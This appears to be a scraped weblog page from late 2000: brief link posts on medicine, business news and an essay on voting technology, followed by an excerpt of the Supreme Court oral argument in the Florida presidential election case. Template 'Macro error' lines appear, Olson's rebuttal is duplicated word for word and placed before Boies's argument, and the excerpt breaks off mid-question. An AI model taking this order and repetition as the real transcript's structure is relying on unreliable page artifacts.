Bruse Schneier, author of a monthly newsletter on computer security and crypto stuff, has a written a good little treatise on the issues surrounding computer voting technology.

WOW, is this rotation kicking my ass. I’ve been on call twice, and I’ve already gotten twelve admissions; right now, I’m carrying more than half of the patients on my service, despite there being three other interns on-service.

MSNBC’s Year 2000 in Pictures, once again not failing to amaze.

Oh, sweet Jesus, this exchange of love emails between Amazon and a customer is just awesome.

Joe Mahoney passed on a great email forward that describes my exact mornings when I’m on service (well, almost exact; while I’m not perfectly sure of my early-morning memories, I’m reasonably sure that Libido has a larger role).

Thank you, Kim, for passing on the link to musicians’ concert riders. The magazine that I do part-time work for frequently has to deal with celebs, and the things that they ask for have always amazed me; it doesn’t shock me in the least that musicians are no different.

Awesome! Apparently, France is pushing hard to get the Concorde certified as airworthy again. It would be a damn shame to have the 12 remaining Concordes sitting in hangars gathering dust.

I saw Crouching Tiger, Hidden Dragon this past week. It was terrific; whenever it started getting the slightest bit slow, all of a sudden, women were kicking each other’s asses again. I left the movie completely pumped up, wanting to find a sword and walk on walls.

I’ve really had to search myself to figure out if I would know if my daughter had an AWOL soldier living in her closet, playing sex games with her, and having the run of my home when I was at work. I hope I would.

Poor kid; I wonder if he’ll ever feel comfortable using a toilet again. Time for repeat toilet training

Damn, the business media is full of suckers. The news services all dutifully reported that eToys warned of lower-than-expected revenues; what they glazed over, though, was that the eToys press release blamed the lower revenues, in part, on “a consumer population meaningfully distracted by the presidential election and its aftermath.” What a load of horseshit. Sometimes I think that the people who write these things actually come up with the most fanciful lies they can, trying to see if anyone catches them.

From Lloyd Grove, in the Washington Post:

At Paul and Carol Laxalt’s Wednesday night Christmas party in McLean, Dick Cheney joined Supreme Court Justices Antonin Scalia and Anthony M. Kennedy (two of the five who voted to stop manual vote-counting in Florida). We hope the vice president-elect gave the jurists his heartfelt, gracious thanks.

Why does it not surprise me that Verio is the ISP banned from using WHOIS data for spamming? I have never had a single good experience with the damn company.

[Macro error: Can’t find a sub-table named “responseHeaders”.]
REBUTTAL ARGUMENT OF THEODORE B. OLSON ON BEHALF OF THE PETITIONERS.

MR. OLSON: Thank you, Mr. Chief Justice. I would like to start with a point or two with respect to the equal protection due process component of this case. The Florida Democratic Party on November 20 was asking the — november 20th of this year, was asking the Florida Supreme Court to establish uniform standards with respect to the looking at and evaluating these ballots, a recognition that there were no uniform standards and that there ought to be. Last Tuesday in the 11th Circuit, unless I misheard him, the attorney for the Attorney General of Florida said that the standards for evaluating these ballots are evolving. There is no question, based upon this record, that there are different standards from county to county.

QUESTION: And there are different ballots from county to county too, Mr. Olson, and that’s part of the argument that I don’t understand. There are machines, there’s the optical scanning, and then there are a whole variety of ballots. There is the butterfly ballot that we’ve heard about and other kinds of postcard ballots. How can you have one standard when there are so many varieties of ballots?

MR. OLSON: Certainly the standard should be that similarly situated voters and similarly situated ballots ought to be evaluated by comparable standards.

QUESTION: Then you would have to have several standards, county by county would it be?

MR. OLSON: You’re certainly going to have to look at a ballot that you mark in one way different than these punch card ballots. Our point is, with respect to the punch card ballots, is that there are different standards for evaluating those ballots from county to county and it is a documented history in this case that there have been different standards between November 7th and the present with respect to how those punch card ballots are evaluated. Palm Springs is the best example. They started with a clear rule which had been articulated and explained to the voters, by the way, as of 1990. Then they got into the process of evaluating these ballots and changed the standard from moment to moment during the first day and again, they evolved from the standard that the chad had to be punched through to the so-called dimpled ballot standard, indentations on the ballot. There was a reason why that was done. It was because they weren’t producing enough additional votes so that there’s pressure on to change the standards. And that will happen in a situation which is where the process is ultimately subjective, completely up to the discretion of the official, and there’s no requirement of any uniformity. Now, we now have something that’s worse than that. We have standards that are different throughout 64 different counties. We’ve got only undercounts being considered where an indentation on a ballot will now be counted as a vote, but other ballots that may have indentations aren’t going to be counted at all. The overvotes are in a different category, and in this very remedy the ballots in Miami-Dade are being treated differently. Some of them have been all examined and the balance of the process, the remaining 80 percent will be looked at only in connection with the undercounts.

QUESTION: Mr. Olson, do I understand that your argument on the equal protection branch would render academic what was your main argument that’s troublesome, that is that we must say that the Florida Supreme Court was so misguided in its application of its own law that we reject that, and we, the Supreme Court of the United States, decide what the Florida law is?

MR. OLSON: I’m not sure I know the answer to that question, whether that would render academic the challenge. There is a clear constitutional violation, in our opinion, with respect to Article II because virtually every aspect of Florida’s election code has been changed as a result of these two decisions.

QUESTION: But the Florida Supreme Court told us that it hasn’t been changed and just looking at one of the cases that you cite frequently, the O’Brien against Skinner case, this court said, well, maybe we would have decided the New York law differently but the highest court of the state has concluded otherwise. It is not our function to construe a state statute contrary to the construction given it by the highest court of the state.

MR. OLSON: The only thing I can say in response to that is that what this Court said one week ago today, that as a general rule the court defers to a state court’s interpretation of a state statute, but not where the legislature is acting under authority granted to it by the Constitution of the United States. The final point I would like to make is with respect to section 5. It is quite clear that the court in both the earlier decision and the decision last Friday was aware and concerned about compliance with section 5. It construed section 5 in a way that allowed it by labeling what it was doing as interpretation to change in dramatic respects the Florida election law, and we submit because it did, so misconstrued the applicability not only with respect to finality but the other part of section 5 requires a determination of controversies pursuant to a set of laws that are in place at the time of the elections.

QUESTION: If you start with the premise, a clear intent of a vote should count, where there’s a clear intent on the ballot, it should count as a vote, can’t you reasonably get the majority’s conclusion?

MR. OLSON: I don’t believe so because we know different standards were being applied to get to that point, and they were having different results.

CHIEF JUSTICE REHNQUIST: Thank you, Mr.Olson. The case is submitted.

[Macro error: Can’t find a sub-table named “responseHeaders”.]
REBUTTAL ARGUMENT OF THEODORE B. OLSON ON BEHALF OF THE PETITIONERS.

MR. OLSON: Thank you, Mr. Chief Justice. I would like to start with a point or two with respect to the equal protection due process component of this case. The Florida Democratic Party on November 20 was asking the — november 20th of this year, was asking the Florida Supreme Court to establish uniform standards with respect to the looking at and evaluating these ballots, a recognition that there were no uniform standards and that there ought to be. Last Tuesday in the 11th Circuit, unless I misheard him, the attorney for the Attorney General of Florida said that the standards for evaluating these ballots are evolving. There is no question, based upon this record, that there are different standards from county to county.

QUESTION: And there are different ballots from county to county too, Mr. Olson, and that’s part of the argument that I don’t understand. There are machines, there’s the optical scanning, and then there are a whole variety of ballots. There is the butterfly ballot that we’ve heard about and other kinds of postcard ballots. How can you have one standard when there are so many varieties of ballots?

MR. OLSON: Certainly the standard should be that similarly situated voters and similarly situated ballots ought to be evaluated by comparable standards.

QUESTION: Then you would have to have several standards, county by county would it be?

MR. OLSON: You’re certainly going to have to look at a ballot that you mark in one way different than these punch card ballots. Our point is, with respect to the punch card ballots, is that there are different standards for evaluating those ballots from county to county and it is a documented history in this case that there have been different standards between November 7th and the present with respect to how those punch card ballots are evaluated. Palm Springs is the best example. They started with a clear rule which had been articulated and explained to the voters, by the way, as of 1990. Then they got into the process of evaluating these ballots and changed the standard from moment to moment during the first day and again, they evolved from the standard that the chad had to be punched through to the so-called dimpled ballot standard, indentations on the ballot. There was a reason why that was done. It was because they weren’t producing enough additional votes so that there’s pressure on to change the standards. And that will happen in a situation which is where the process is ultimately subjective, completely up to the discretion of the official, and there’s no requirement of any uniformity. Now, we now have something that’s worse than that. We have standards that are different throughout 64 different counties. We’ve got only undercounts being considered where an indentation on a ballot will now be counted as a vote, but other ballots that may have indentations aren’t going to be counted at all. The overvotes are in a different category, and in this very remedy the ballots in Miami-Dade are being treated differently. Some of them have been all examined and the balance of the process, the remaining 80 percent will be looked at only in connection with the undercounts.

QUESTION: Mr. Olson, do I understand that your argument on the equal protection branch would render academic what was your main argument that’s troublesome, that is that we must say that the Florida Supreme Court was so misguided in its application of its own law that we reject that, and we, the Supreme Court of the United States, decide what the Florida law is?

MR. OLSON: I’m not sure I know the answer to that question, whether that would render academic the challenge. There is a clear constitutional violation, in our opinion, with respect to Article II because virtually every aspect of Florida’s election code has been changed as a result of these two decisions.

QUESTION: But the Florida Supreme Court told us that it hasn’t been changed and just looking at one of the cases that you cite frequently, the O’Brien against Skinner case, this court said, well, maybe we would have decided the New York law differently but the highest court of the state has concluded otherwise. It is not our function to construe a state statute contrary to the construction given it by the highest court of the state.

MR. OLSON: The only thing I can say in response to that is that what this Court said one week ago today, that as a general rule the court defers to a state court’s interpretation of a state statute, but not where the legislature is acting under authority granted to it by the Constitution of the United States. The final point I would like to make is with respect to section 5. It is quite clear that the court in both the earlier decision and the decision last Friday was aware and concerned about compliance with section 5. It construed section 5 in a way that allowed it by labeling what it was doing as interpretation to change in dramatic respects the Florida election law, and we submit because it did, so misconstrued the applicability not only with respect to finality but the other part of section 5 requires a determination of controversies pursuant to a set of laws that are in place at the time of the elections.

QUESTION: If you start with the premise, a clear intent of a vote should count, where there’s a clear intent on the ballot, it should count as a vote, can’t you reasonably get the majority’s conclusion?

MR. OLSON: I don’t believe so because we know different standards were being applied to get to that point, and they were having different results.

CHIEF JUSTICE REHNQUIST: Thank you, Mr.Olson. The case is submitted.
ORAL ARGUMENT OF DAVID BOIES ON BEHALF OF THE RESPONDENTS

MR. BOIES: Thank you, Mr. Chief Justice, may it please the court. Let me begin by addressing what happened in the Beckstrom case that Mr. Klock refers to.

QUESTION: Could we begin with jurisdiction, first?

MR. BOIES: Yes.

QUESTION: The Supreme Court of Florida said that it took, that it was cognizant, and the legislature was cognizant of 3 U.S.C. Section 5. And for convenience sake, let’s call that new law. That’s not exactly the —

QUESTION: When the Supreme Court used that word, I assume it used it in a legal sense. Cognizance means to take jurisdiction of, to take authoritative notice. Why doesn’t that constitute an acceptance by the Supreme Court of the proposition that 3 USC section 5 must be interpreted in this case?

MR. BOIES: I think, Your Honor, and obviously this Court and the Florida Supreme Court is the best interpreter of that opinion, but I think a reasonable interpretation of that opinion is to say that what the Florida Supreme Court meant by cognizant is that it was taking into account the desire to get the election over in time so that everyone would have the advantage of the safe harbor. I think that goes throughout the opinion.

QUESTION: Well, the language used in 3 USC section 5 is garden variety language so far as the courts are concerned. We can determine whether or not there is a new law or an old law. That’s completely susceptible of judicial interpretation, is it not?

MR. BOIES: Yes, I think it is, Your Honor.

QUESTION: All right. And it seems to me that if the Florida court, and presumably the Florida legislature have acted with reference to 3 USC section 5 that it presents now a federal question for us to determine whether or not there is or is not a new law by reason of the various Florida supreme — two Florida Supreme Court decisions.

MR. BOIES: Except, Your Honor, what the Florida Supreme Court did I think in its opinion is to say that in terms of looking at how to remedy the situation, it needed to be cognizant of the fact that there was this federal deadline out there that was going to affect Florida’s electors if that deadline was not met.

QUESTION: Well, of course the deadline is meaningless if there’s a new law involved. That’s part of the equation, too.

MR. BOIES: Yes, but what I would say is that whether or not there is a new law, that is whether there’s a change in the enactment in the language of the statute or the constitution, is something that has to be decided in the initial instance by the Florida Supreme Court interpreting Florida law.

QUESTION: There really — Mr. Boies, there are really two parts to that sentence of section 5 we’re talking about. One is the law in effect at the time and the other is finally determined six days before the date for choosing the electors. Do you think the Florida court meant to acknowledge — it seems to me since it’s cited generally, they must have acknowledged both of those provisions.

MR. BOIES: I don’t know exactly what was in the Florida Supreme Court’s mind, but I think that in general what the Florida Supreme Court made quite clear is that the thing that was constraining it was the desire to fit its remedy within the safe harbor provision.

QUESTION: So that’s the finally determined portion of section 5? MR. BOIES: Yes, Your Honor, yes, I think that’s right. And I think it does not reflect a desire to change the law or in any way affect what the substantive law is. What the court is saying is —.

QUESTION: Let me ask, could the legislature of the State of Florida, after this election, have enacted a statute to change the contest period by truncating it by 19 days?

MR. BOIES: You mean by shortening it?

QUESTION: Without contravening the section which says that there should be no new law for the safe harbor? Could the Florida Supreme Court have done what the — could the Florida legislature have done what the supreme court did?

MR. BOIES: I think that it would be unusual. I haven’t really thought about that question. I think they probably could not —.

QUESTION: Consistently, because that would be a new law under section 5, wouldn’t it?

MR. BOIES: Yes, because it would be a legislative enactment as opposed to a judicial interpretation of an existing law. Remember —.

QUESTION: And in fact it would be a new law under our pre-clearance jurisprudence, wouldn’t it?

MR. BOIES: I think not, Your Honor, because if you go back to the State against Chappell in 1988, where the Florida Supreme Court faced the very question of whether or not that seven-day period was an iron curtain that came down, the Florida Supreme Court said it was not. The Florida Supreme Court said that you had to look as to whether there was substantial compliance. In that case three days was found to be substantial compliance. That was a situation in which there was telephone notice, which was not adequate for certification. That was then followed up —.

QUESTION: But if we assume the legislature would run contrary to the new law prohibition in the statute, wouldn’t the Supreme Court do it if it does exactly the same thing?

MR. BOIES: Except what I’m saying, Your Honor, is that it wasn’t doing exactly the same thing because it wasn’t passing a new law. It was interpreting the existing law. If the legislature had said, for example the legislature —.

QUESTION: I’m not sure why — if the legislature does it it’s a new law and when the supreme court does it, it isn’t. Both would have to require — you have to pre-clear judicial rulings and see whether they make new laws, don’t you?

MR. BOIES: What I’m saying, Your Honor, is that if the supreme court had rewritten the law the way you hypothesized the legislature rewrote the law, it might very well be a difference. What I’m saying is that the Florida Supreme Court did not rewrite the law in the way that you hypothesized. What the Florida Supreme Court was confronted with was a statute, and that statute said that — and it was the later passed statute, we get back into the may and the shall. The may statute was the later passed statute, and so what the Florida Supreme Court said is we have to look at what is the criteria by which you decide whether you may ignore and will ignore these returns, and what the Florida Supreme Court said, we’re going to interpret that exactly the way we’ve interpreted it for 25 years, and 12 years before the Florida Supreme Court made this decision, it had made the State against Chappell decision in which it had approached it from exactly the same policy grounds.

QUESTION: Well, it was quite a different — I mean, there, indeed, telephone notification had been given within the deadline, and the actual written material was not submitted until a few days after. I think that’s quite a bit different from extending the period generally and for all submissions for, you know — but if I could — I’m not sure that you and Justice Kennedy are disagreeing on very much. It seems to me you acknowledge that if the Florida Supreme Court’s interpretation of this law were not a reasonable interpretation, just not one that would pass normal judicial muster, then it would be just like the legislature writing a new law, but your contention here is that this is a reasonable interpretation of Florida law. MR. BOIES: I think the way I would put it, Your Honor, is that if you conclude that the Florida Supreme Court’s interpretation of Florida law is either a sham or it is so misguided that it is simply untenable in any sense —.

QUESTION: Right.

MR. BOIES: I think at that point then you can conclude that what it has done is it has changed the law, but I think the standard is the standard this Court has generally applied in giving deference to state supreme court decisions.

QUESTION: But is it in light of Article II? I’m not so sure. I mean, I would have thought that that bears on the standard, frankly, when it contemplates that it is plenary power in the legislature. Does that not mean that a court has to, in interpreting a legislative act, give special deference to the legislature’s choices insofar as a presidential election is concerned? I would think that is a tenable view anyway, and especially in light also of the concerns about section 5.

MR. BOIES: I think, Your Honor, that if the Florida Supreme Court in interpreting the Florida law, I think the Court needs to take into account the fact that the legislature does have this plenary power. I think when the Florida Supreme Court does that, if it does so within the normal ambit of judicial interpretation, that is a subject for Florida’s Supreme Court to take.

QUESTION: You are responding as though there were no special burden to show some deference to legislative choices. In this one context, not when courts review laws generally for general elections, but in the context of selection of presidential electors, isn’t there a big red flag up there, watch out?

MR. BOIES: I think there is in a sense, Your Honor, and I think the Florida Supreme Court was grappling with that.

QUESTION: And you think it did it properly?

MR. BOIES: I think it did do it properly.

QUESTION: That’s, I think, a concern that we have, and I did not find really a response by the Florida Supreme Court to this Court’s remand in the case a week ago. It just seemed to kind of bypass it and assume that all those changes and deadlines were just fine and they would go ahead and adhere to them, and I found that troublesome.

MR. BOIES: Your Honor, if I could, one of the things that was argued from the beginning by Governor Bush’s counsel and accepted by the Florida Supreme Court was that the protest statute and the contest statute were very separate procedures. There was a time limit in the protest contest prior to certification, but there is no time limit in the contest statute process, which is what we are in now, and I think that the Florida Supreme Court was focusing on this contest period, which is what is really before, was before them and is before you, and in the contest —

QUESTION: But I thought, and maybe I’m mistaken, but I thought it directed that certain votes that had been tabulated after the expiration of the original certification date were to be included now without reference to the point at all that their opinion had been vacated. I just didn’t know how that worked.

MR. BOIES: Well, there are three different groups of votes, okay? And with respect — Broward, Palm Beach, and Miami-Dade. With respect to Miami-Dade and Palm Beach, there was a trial. There was a contest trial. It is the appeal from that trial that is before this Court. And the petitioners don’t really refer to what’s in the trial record but in that trial record, there was undisputed evidence that the votes that were counted there were valid legal votes. Now, whether those votes were counted as part of the certification process or not —.

QUESTION: This was a —.

MR. BOIES: Once you know they are valid votes — .

QUESTION: This was a trial, Mr. Boies, in the circuit court of Miami-Dade?

MR. BOIES: Yes. No. In the Circuit Court of Leon County. Because it’s a statewide election, the contest procedure takes you to Leon County, regardless of where the votes are cast. But what the, what the, what the court found there, and there was undisputed evidence, and Mr. Richard, who was Governor Bush’s counsel here, conceded that the Palm Beach Board had applied the appropriate standard in identifying votes, the so-called 215 additional net votes for Vice President Gore and Senator Lieberman. What you had there was undisputed evidence, it was found as a matter of fact, and the Supreme Court reviewing that trial said you’ve had these votes identified by Miami-Dade, 168 net votes, by Palm Beach, 215 net votes, and those votes need to be included. Not because — .

QUESTION: It not only said —.

MR. BOIES: — It’s a part of the certification process.

QUESTION: It not only said that. It said that those votes have to be certified. MR. BOIES: Yes, Your Honor.

QUESTION: It said that those votes had to be certified, which certainly contravenes our vacating of their prior order.

MR. BOIES: I think not, Your Honor, because when you look at the contest statute, it is a contest of the certification. That is, the process is the results are certified and then what happens is you contest whether that certification is right.

QUESTION: I understand, but this, but what the Florida Supreme Court said is that there shall be added to the certification these additional numbers.

MR. BOIES: But that’s true in any contest. Every single contest — .

QUESTION: It’s not added to the certification.

MR. BOIES: Yes, of course it is, Your Honor.

QUESTION: You may do review of the ballots and add more numbers, but as I read the Florida Supreme Court opinion, it said the Secretary of State will certify these additional —.

MR. BOIES: Yes. Because the contest procedure is a procedure to contest the certification. What you are doing is you are saying this certification is wrong. Change it. That’s what every contest proceeding is. And what the Florida Supreme Court was saying after this trial is yes, you proved that this certification is missing 250 votes.

QUESTION: The certification as rendered by the Secretary of State did not include those additional ballots for your client, and the Supreme Court directed that the certification would be changed to include those.

MR. BOIES: But, but Your Honor, that is what happens every time there is a successful contest. The contest is a contest of the certification. You have the certification results first.

QUESTION: It doesn’t make any sense to me. You have a certification which is made by the Secretary of State. That is what is contested.

MR. BOIES: Right.

QUESTION: And here the certification was directed to be changed. Let — .

QUESTION: By the way, does it matter if they said in Palm Beach and, Palm Beach and Miami-Dade, the ones that the court said you must certify, if they were thrown into the other, said recount them. If it’s uncontested in the trial, I guess that you would get to the same place.

MR. BOIES: I think you get to exactly the same place.

QUESTION: So it doesn’t really matter.

MR. BOIES: I think it doesn’t really matter what they said.

QUESTION: But Broward might?

MR. BOIES: But Broward might.

QUESTION: Would you object if they have a different standard to recounting those?

MR. BOIES: Broward is a different situation.

QUESTION: Yes.

MR. BOIES: With respect to Broward, what you have is you have these votes that have been counted, and were included in the certification, and if were you to assume that that certification that came in on November 26th is somehow void, then those ballots would have to be considered just like the Dade and Palm Beach ballots, so I think there is a distinction between Broward and — .

QUESTION: Do you think that in the contest phase, there must be a uniform standard for counting the ballots?

MR. BOIES: I do, Your Honor. I think there must be a uniform standard. I think there is a uniform standard. The question is whether that standard is too general or not. The standard is whether or not the intent of the voter is reflected by the ballot. That is the uniform standard throughout the State of Florida.

QUESTION: That’s very general. It runs throughout the law. Even a dog knows the difference in being stumbled over and being kicked. We know it, yes. In this case — in this case what we are concerned with is an intent that focuses on this little piece of paper called a ballot, and you would say that from the standpoint of equal protection clause, could each county give their own interpretation to what intent means, so long as they are in good faith and with some reasonable basis finding intent?

MR. BOIES: I think — .

QUESTION: Could that vary from county to county?

MR. BOIES: I think it can vary from individual to individual. I think that just as these findings — .

QUESTION: So that, so that even in one county can vary from table to table on counting these ballots?

MR. BOIES: I think on the margin, on the margin, Your Honor, whenever you are interpreting intent, whether it is in the criminal law, an administrative practice, whether it is in local government, whenever somebody is coming to government —.

QUESTION: But here you have something objective. You are not just reading a person’s mind. You are looking at a piece of paper, and the supreme courts in the states of South Dakota and the other cases have told us that you will count this hanging by two corners or one corner, this is susceptible of a uniform standard, and yet you say it can vary from table to table within the same county.

MR. BOIES: With respect, it is susceptible of a more specific standard, and some states, like Texas, have given a statutory definition, although even in Texas, there is a catch-all that says anything else that clearly specifies the intent of the voter. So even, even where states have approached this in an attempt to give specificity, they have ended up with a catch-all provision that says look at the intent of the voter.

QUESTION: But they have ended up with a catch-all provision because I assume there may be cases in which the general rule would otherwise operate in which there is an affirmative counter indication to what the general rule would provide, but I think what’s bothering Justice Kennedy and it’s bothering a lost us here is we seem to have a situation here in which there is a subcategory of ballots in which we are assuming for the sake of argument since we know no better that there is no genuinely subjective indication beyond what can be viewed as either a dimple or a hanging chad, and there is a general rule being applied in a given county that an objective intent or an intent on an objective standard will be inferred, and that objective rule varies, we are told, from county to county. Why shouldn’t there be one objective rule for all counties and if there isn’t, why isn’t it an equal protection violation?

MR. BOIES: Let me answer both questions. First, I don’t think there is a series of objective interpretations, objective criteria that would vary county by county.

QUESTION: All right. But on the assumption that there may be, if we were fashioning a response to the equal protection claim, and we assume as a fact that there may be variations, wouldn’t those variations as, from county to county, on objective standards, be an equal protection violation?

MR. BOIES: I don’t think so. I don’t think so, Your Honor, because I think there are a lot of times in the law in which there can be those variations from jury to jury, from public official to public official.

QUESTION: Yes, but in jury to jury cases, we assume that there is not an overall objective standard that answers all questions definitively. We are assuming that there is detail that cannot be captured by an objective rule. The assumption of this question, and I think, I think it’s behind what’s bothering Justice Kennedy, Justice Breyer, me and others, is, we’re assuming there’s a category in which there just is no other — there is no subjective appeal. All we have are certain physical characteristics. Those physical characteristics we are told are being treated differently from county to county. In that case, where there is no subjective counter indication, isn’t it a denial of equal protection to allow that variation?

MR. BOIES: I don’t think, I don’t think so, Your Honor, because — and maybe I am quarreling with a premise that says there are these objective criteria. Maybe if you had specific objective criteria in one county that says we’re going to count indented ballots and another county that said we’re only going to count the ballot if it is punched through. If you knew you had those two objective standards and they were different, then you might have an equal protection problem.

QUESTION: All right, we’re going to assume that we do have that. We can’t send this thing back for more fact finding. If, if we respond to this issue and we believe that the issue is at least sufficiently raised to require a response, we’ve got to make the assumption, I think at this stage, that there may be such variation, and I think we would have a responsibility to tell the Florida courts what to do about it. On that assumption, what would you tell them to do about it?

MR. BOIES: Well, I think that’s a very hard question.

QUESTION: You would tell them to count every vote. We’re telling them to count every vote.

MR. BOIES: I would tell them to count every vote.

QUESTION: Let me ask you, before you answer that question, Mr. Boies —.

MR. BOIES: I think, I think I would say that if you’re looking for a standard, and I say that not because of the particular aspects of this election — the Texas standard, if you wanted to specify something that was specific, gives you a pretty good standard.

QUESTION: Let me ask you this question, Mr. Boies. Is it really, does not the procedure that is in place there contemplates that the uniformity will be achieved by having the final results all reviewed by the same judge?

MR. BOIES: Yes, that’s what I was going to say, Your Honor, that what you have here is you have a series of decisions that people get a right to object to is all going through a process, the people are there. They submit written objections, and then that’s going to be reviewed by a court.

QUESTION: Well, all right. That causes me some problems that pertain not just to the equal protection aspect of this, but to the rationality of the supreme court’s opinion, because the supreme court opinion on the one hand said, as you’ve just repeated, that there was to be de novo review by the circuit judge in Leon County. But on the other hand, it said that he had to accept the counts that had come out of Palm Beach and Broward counties. It was clear that Broward and Palm Beach counties had applied different criteria to dimpled ballots. One of them was counting all dimpled ballots, the other one plainly was not. How can you at one and the same time say it’s a de novo standard as to what is the intent of the voter, and on the other hand say, you have to accept, give some deference to, quite differing standards by two different counties? That’s just not rational.

MR. BOIES: Your Honor, I think what the court held was not include both Broward and Palm Beach. I think it was Palm Beach and Miami-Dade, because Broward was not part of the trial because Broward had been certified, and with respect to Miami-Dade and Palm Beach, I do not believe that there is evidence in the record that that was a different standard. I don’t — and there’s no finding at the trial court that that was a different standard. Indeed, what the trial court found was that both Miami-Dade and Palm Beach properly exercised their counting responsibilities, so I don’t think —.

QUESTION: What do you mean? Properly exercised what? Their discretion, right? Is that what he meant by counting responsibilities? MR. BOIES: I believe what he meant, it was discerning the clear intent of the voter, which is what they were both attempting to do.

QUESTION: Was this the trial before Judge Sauls? MR. BOIES: Yes, Your Honor.

QUESTION: I thought he ruled against the contestants, said they took nothing.

MR. BOIES: Yes, that is, that is right, but he did so based on what the Florida Supreme Court held, and what six justices of the Florida Supreme Court held were two errors of law. First, that we had to prove before he looked at the ballots that there was a probability that the election result would be changed, and second, that we had to prove abuse of discretion.

QUESTION: But the fact-finding phase of that trial would be from — you say these were found as a fact in some — did he make findings of fact?

MR. BOIES: Yes, he did.

QUESTION: What did he say with respect to this?

MR. BOIES: With respect to this he said — he said it separately with respect to Miami-Dade and Palm Beach. Because he found that they had properly exercised their discretion. The Palm Beach chairman of the canvassing board actually was a witness, Judge Burton. He came and testified, and he testified that they used a clear intent of the voter standard.

QUESTION: As opposed to just intent of the voter?

MR. BOIES: Yes, just intent. They used clear intent of the voter. And the statute, sometimes, in one section says clear intent of the voter. That’s the one that Petitioners’ counsel is referring to. In 166, it refers in subsection 7(b) to the intent of the voter, but Palm Beach used the clear intent of the voter and found hundreds of ballots that they could discern the clear intent of the voter from that were not machine read. Now, in doing so, they were applying Florida law, and like the law of many states, it has a general standard, not a specific standard.

QUESTION: Were those dimpled or hanging chads, so to speak?

MR. BOIES: Well, what he testified is that you looked at the entire ballot, that if you found something that was punched through all the way in many races, but just indented in one race, you didn’t count that indentation, because you saw that the voter could punch it through when the voter wanted to. On the other hand, if you found a ballot that was indented all the way through, you counted that as the intent of the voter.

QUESTION: With no holes punched?

MR. BOIES: With no holes punched, but, but where it was indented in every way.

QUESTION: That was counted as proper in —.

MR. BOIES: In Palm Beach.

QUESTION: Palm Beach.

MR. BOIES: Another, another thing that they counted was he said they discerned what voters sometimes did was instead of properly putting the ballot in where it was supposed to be, they laid it on top, and then what you would do is you would find the punches went not through the so-called chad, but through the number.

QUESTION: Well, why isn’t the standard the one that voters are instructed to follow, for goodness sakes? I mean, it couldn’t be clearer. I mean, why don’t we go to that standard?

MR. BOIES: Well, Your Honor, because in Florida law, since 1917, Darby against State, the Florida Supreme Court has held that where a voter’s intent can be discerned, even if they don’t do what they’re told, that’s supposed to be counted, and the thing I wanted to say about the Beckstrom case is that was a case that used optical ballots. Voters were told, fill it in with a number two pencil. Several thousand didn’t. They used everything else, but not a number two pencil. And so the machine wouldn’t read it. It was voter error.

The Supreme Court in 1998, well before this election, said you’ve got to count those votes. And in fact, they counted those votes even though the way the canvassing board dealt with them was to go back and mark them over with a big black marker, which made it impossible to check whether the canvassing board had really just marked over the ballot or had put a new mark on the ballot.

QUESTION: Mr. Boies, can I come back to this discrepancy between Palm Beach and Broward County? I’m reading from footnote 16 of the Florida Supreme Court’s opinion. On November 9, 2000, a manual recount was requested on behalf of Vice President Gore in four counties — miami-Dade, Broward, Palm Beach, and Volusia. Broward County and Volusia County timely completed a manual recount. It is undisputed that the results of the manual recounts in Volusia County and Broward County were included in the statewide certifications.

MR. BOIES: Yes, Your Honor.

QUESTION: And those statewide certifications the Supreme Court ordered to be accepted. So it is — the Supreme Court, while applying a standard of supposedly de novo review of the certifications, is requiring the Circuit Court to accept both Broward County, which does one thing with dimpled ballots, and Palm Beach County, which does something clearly different.

MR. BOIES: Your Honor, the de novo review is in the contest phase, and neither Volusia County nor Broward County was a contest filed. What the Supreme Court holds is that you’ve got de novo review in a contest. A contest relates to specific ballots that are contested. The ballots in Broward and Volusia were not contested by any party.

QUESTION: But the determination that the circuit court has to make about whether it’s necessary to have a recount is based upon the certifications. MR. BOIES: No. It’s only based on the —

QUESTION: Which he then accepts —

MR. BOIES: No. It’s only based on the certifications that are contested. In other words, if you are going to order the manual review of the ballots, the issue is what ballots are contested, and second, is there a judicial review of those ballots.

QUESTION: You have to know how close the state election was, don’t you?

MR. BOIES: Yes. But you —

QUESTION: For which purpose you’ll accept the certifications. MR. BOIES: Yes. That’s true.

QUESTION: And here —

MR. BOIES: And you had a certification.

QUESTION: And here you are telling him to accept it not de novo, but deferring to Broward County.

MR. BOIES: I think what the Supreme Court is saying is you have got a certification. That certification shows a certain vote total. Now, you take that certification until it is contested, and it can be contested by either or both parties. You do not have, until it is contested, you do not have contested ballots. Once have you contested ballots, then going back to State against Williams, Nuccio against Williams in 1929, cited in our papers, then it becomes a judicial question, and what the court holds is you then look at that as a judicial matter and that is why you have going on in Leon County the review of the Miami-Dade ballots under the court’s supervision. Now, I would point out that we asked to have the Miami-Dade ballots reviewed. We also asked to have the 3,300 Palm Beach ballots reviewed, but the supreme court said no to us on that. They said yes, you can have the 9,000 Miami-Dade ballots reviewed. They also said, which we didn’t ask for, they said as a matter of remedy, we want to review the undervotes all around the state.

QUESTION: Mr. Boies, one of the dissenting justices in the Supreme Court of Florida said that meant 177,000 ballots. Was he correct in your view?

MR. BOIES: No. That is a result of adding the so-called undervotes that were mentioned and the so-called overvotes that were mentioned. Either an undervote where no vote registers for president or an overvote where two or more registers for president are discarded, because you can’t vote twice, and if you vote not at all, and in either circumstance, your vote doesn’t get counted.

QUESTION: So if you disagree that 177,000 ballots will be involved in this recount, how many do you think there are?

MR. BOIES: It’s approximately 60,000, I think, Your Honor. It turns out to be less than that because of the recounts that have already been completed, but I think the total sort of blank ballots for the presidency start at around 60,000.

QUESTION: Mr. Boies, can I ask, ask you this question. Does that mean there are 110,000 overvotes?

MR. BOIES: That’s right.

QUESTION: And if that’s the case, what is your response to the Chief Justice of Florida’s concern that the recount relates only to undervotes and not overvotes?

MR. BOIES: Well first, nobody asked for a contest of the overvotes, and the contest statute begins with a party saying that there is either a rejection of legal votes or an acceptance of illegal votes.

QUESTION: But as a matter of remedy it’s ordered a statewide recount in counties where the ballots were not contested, and that’s where I’m having some difficulty, and it goes back to, in part to your answer that you gave to Justice Stevens — Justice Scalia about Broward County, and in part to the answer you are giving to Justice Stevens now. Why is it that you say on the one hand to Justice Scalia, oh, well, these weren’t part of the contest, but now all of a sudden we are talking about statewide, not all of which were contested, but we are not talking about the overvotes?

